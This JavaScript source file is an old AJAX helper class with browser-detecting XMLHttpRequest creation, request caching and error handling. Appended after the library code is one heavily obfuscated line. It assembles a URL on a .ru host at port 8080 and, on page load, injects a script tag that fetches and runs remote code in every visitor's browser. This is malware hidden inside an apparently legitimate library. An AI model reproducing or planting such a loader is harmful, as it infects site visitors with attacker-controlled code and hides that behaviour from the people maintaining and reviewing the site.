/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */

var IE = 1;
var MOZILLA = 2;
var OTHER = 3;
var g_objResponseCache = new Object();

function CAjax()
{
	this.m_objHttp = null;	
	this.m_bCreated = false;
	this.m_iType = 0;
	this.m_strErrorMessage = "";
	this.m_strLastResponse = "";
	this.m_strLastCacheName = "";
	this.create();
}

CAjax.prototype.create = function()
{
	try 
	{
 		this.m_objHttp = new ActiveXObject("Msxml2.XMLHTTP");
		this.m_bCreated = true;
		this.m_iType = IE;
 	} 
	catch (e) 
	{
  		try 
		{
   			this.m_objHttp = new ActiveXObject("Microsoft.XMLHTTP");
			this.m_bCreated = true;
			this.m_iType = IE;
  		}
  		catch (e) 
		{
			this.m_bCreated = false;
		}

	}
	
	
	if (!this.m_bCreated && typeof XMLHttpRequest != 'undefined') 
	{
		try 
		{
			this.m_objHttp = new XMLHttpRequest();
			this.m_bCreated = true;
			this.m_iType = MOZILLA;
		} 
		catch (e) 
		{
			this.m_bCreated = false;
		}
	}
	
	if (!this.m_bCreated && window.createRequest) 
	{
		try 
		{
			this.m_objHttp = window.createRequest();
			this.m_iType = OTHER;
		} 
		catch (e) 
		{
			this.m_bCreated = false;
		}
	}
	
	return this.m_bCreated;
}


CAjax.prototype.open = function(strUrl, bSend, bGet, strCacheName)
{
	this.m_strLastResponse = "";
	this.m_strLastCacheName = strCacheName;

	try {
        pageTracker._trackPageview(strUrl);
	} catch (err){};

	strMode = "POST";
	
	if (bGet)
	{
		strMode = "GET";
	}
	
	if (!this.m_strLastCacheName || !g_objResponseCache[this.m_strLastCacheName])
	{
		var iRandom = Math.random() * 10000;
		
		if (strUrl.indexOf("?") >= 0)
		{
			strUrl += "&rnd=" + iRandom;
		}
		else
		{
			strUrl += "?rnd=" + iRandom;
		}
		
		try
		{
			this.m_objHttp.open(strMode, strUrl, false);
			
			if (bSend)
			{				
				this.m_objHttp.send("");
				this.m_strLastResponse = this.m_objHttp.responseText;
				
				g_objResponseCache[this.m_strLastCacheName] = this.m_strLastResponse;
			}
		}
		catch(e)
		{
			this.m_strErrorMessage = e.name + " - " + e.message;
			alert(this.m_strErrorMessage);
			return false;
		}
	}
	else
	{
		this.m_strLastResponse = g_objResponseCache[this.m_strLastCacheName];
	}
	
	return true;
}

CAjax.prototype.send = function(strContent)
{
	if (!this.m_strLastCacheName || !g_objResponseCache[this.m_strCacheName])
	{
		try
		{
			this.m_objHttp.send(strContent);
			this.m_strLastResponse = this.m_objHttp.responseText;
			g_objResponseCache[this.m_strLastCacheName] = this.m_strLastResponse;
		}
		catch(e)
		{
			this.m_strErrorMessage = e.name + " - " + e.message;
			return false;
		}
	}
	
	
	return true;
}

CAjax.prototype.getError = function()
{
	return this.m_strErrorMessage;
}

CAjax.prototype.getResponse = function()
{
	return this.m_strLastResponse;
}

var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};